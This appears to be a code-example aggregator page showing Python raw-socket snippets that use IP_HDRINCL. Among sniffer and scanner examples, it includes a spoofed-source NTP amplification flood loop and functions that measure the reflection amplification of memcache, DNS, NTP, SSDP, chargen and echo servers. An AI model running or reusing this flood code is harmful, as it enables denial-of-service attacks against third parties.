Python socket.IP_HDRINCL屬性代碼示例

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def __init__(self, type=ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):  # noqa: E501
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)  # noqa: E501
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
        self.iface = iface
        if iface is not None:
            self.ins.bind((self.iface, type))
        if not six.PY2:
            try:
                # Receive Auxiliary Data (VLAN tags)
                self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
                self.ins.setsockopt(
                    socket.SOL_SOCKET,
                    SO_TIMESTAMPNS,
                    1
                )
                self.auxdata_available = True
            except OSError:
                # Note: Auxiliary Data is only supported since
                #       Linux 2.6.21
                msg = "Your Linux Kernel does not support Auxiliary Data!"
                log_runtime.info(msg) 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def run(self):
  global ntpamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(ntpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,123))
    ntpamplif_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {}   ".format(ntpamplif_counter,ip))
        sys.stdout.flush()
        #print ("Packets sent: {} | IP: {}".format(ntpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.speed=None
  self.target=None
  self.port=None 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def init_func(self, creator_fd):
        self.__creator_fd = creator_fd
        self.__sent = []

        family = socket.AF_INET

        s = socket.socket(family, socket.SOCK_RAW, socket.IPPROTO_UDP | socket.IPPROTO_ICMP | socket.IPPROTO_UDP | 136)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        s.setblocking(0)

        self.__socket = s
        self.set_fileno(s.fileno())
        self.register(self.fileno)
        self.add_evt_read(self.fileno)

        return self.fileno 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def sniffer_thread(target):

    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    sniffer.bind(("0.0.0.0", 0 ))
    sniffer.settimeout(5)
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # continually read in packets and parse their information
    while ( 1 ):
	try:
	        raw_buffer = sniffer.recvfrom(65565)[0]
        
	except:
		if (SNIFF_MUTEX == 0):
			sys.exit(1)

	ip_header = raw_buffer[0:20]
	dst_port = struct.unpack(">h", raw_buffer[0x32:0x34])[0]
        iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)

        # Create our IP structure
        version_ihl = iph[0]
        ihl = version_ihl & 0xF
        iph_length = ihl * 4
        src_addr = socket.inet_ntoa(iph[8]);

        # Create our ICMP structure
        buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)]
        icmp_header = ICMP(buf)

        # check for the type 3 and code and within our target subnet
        if icmp_header.code == 3 and icmp_header.type == 3 and src_addr == target:
		if dst_port not in ports_ident["closed"]:
			ports_ident["closed"].append(dst_port) 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def __init__(self, daddr):
        try:
            self.raw_sock = socket.socket(
                socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW
            )
        except PermissionError as e:
            print(e)
            print("Please run as root!")
            exit(1)
        self.ip_daddr = daddr
        os_release = platform.system()
        if os_release == "Darwin":
            # Boned. TODO: Work on fixing this.
            print("Detected Mac OS - Cannot support writing of raw IP packets, exiting")
            exit(1)
        if os_release.endswith("BSD"):
            # BSD - Need to explicit set IP_HDRINCL.
            # BSD - Need to explicitly calculate IP total length
            self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            logging.debug("Detected a BSD")
        if os_release == "Linux":
            # Linux - No need to set IP_HDRINCL,as setting SOCK_RAW auto sets this. However should be explicit in settings.
            self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            logging.debug("Detected Linux")
        if os_release == "Windows":
            # No idea - No ability to test. Maybe abort?
            # TODO: Find testers?
            logging.debug("Detected NT")
            print("Untested on Windows - Exiting")
            exit(1) 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def nonblock_recv(self, x=MTU):
        return self.recv()

    # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2  # noqa: E501
    # - For IPv4 (address family of AF_INET), an application receives the IP
    # header at the front of each received datagram regardless of the
    # IP_HDRINCL socket option.
    # - For IPv6 (address family of AF_INET6), an application receives
    # everything after the last IPv6 header in each received datagram
    # regardless of the IPV6_HDRINCL socket option. The application does
    # not receive any IPv6 headers using a raw socket. 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def memcache_factor(u,timeout=3):
 """
calculate the amplification factor for any given memcache server
 """
 #creating the payload
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=11211)/Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n")
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)#creating a raw socket
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,11211))
 s.settimeout(timeout)#set timeout
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'memcache','ip':u,'sent':a,'received':b,'amplification_factor':c} 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def dns_factor(u,timeout=3,q='google.com',t='ANY'):
 #q: the domain name to resolve
 #t: the dns query type
 """
calculate the amplification factor for any given dns server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=53)/DNS(rd=1, qd=DNSQR(qname=q,qtype=t))
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,53))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'dns','ip':u,'sent':a,'received':b,'amplification_factor':c} 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def chargen_factor(u,timeout=3,q='0'):
 #q: the character to send
 """
calculate the amplification factor for any given chargen server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=19)/q
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,19))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'chargen','ip':u,'sent':a,'received':b,'amplification_factor':c} 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def ntp_factor(u,timeout=3):
 """
calculate the amplification factor for any given ntp server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,123))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'ntp','ip':u,'sent':a,'received':b,'amplification_factor':c} 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def ssdp_factor(u,timeout=3):
 """
calculate the amplification factor for any given ssdp server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=1900)/Raw(load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,1900))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'ssdp','ip':u,'sent':a,'received':b,'amplification_factor':c} 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def echo_factor(u,q='a',timeout=3):
 """
calculate the amplification factor for any given echo server
 """
 req=IP( dst=u)/UDP(sport=random.randint(1025,65500),dport=7)/Raw(load=q)
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,7))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'echo','ip':u,'sent':a,'received':b,'amplification_factor':c} 

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import IP_HDRINCL [as 別名]
def main(argv):
    global BIND

    if len(argv) < 3:
        print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
        sys.exit(1)

    bindAddr = sys.argv[1]
    subnet = sys.argv[2]

    sockProto = None
    if os.name == 'nt':
        sockProto = socket.IPPROTO_IP
    else:
        sockProto = socket.IPPROTO_ICMP

    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
    if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
    sniffer.bind((bindAddr, 0))

    # Include IP headers in the capture
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # In Windows, set up promiscous mode.
    if os.name == 'nt':
        try:
            sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
        except socket.error, e:
            print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))

    # Sending thread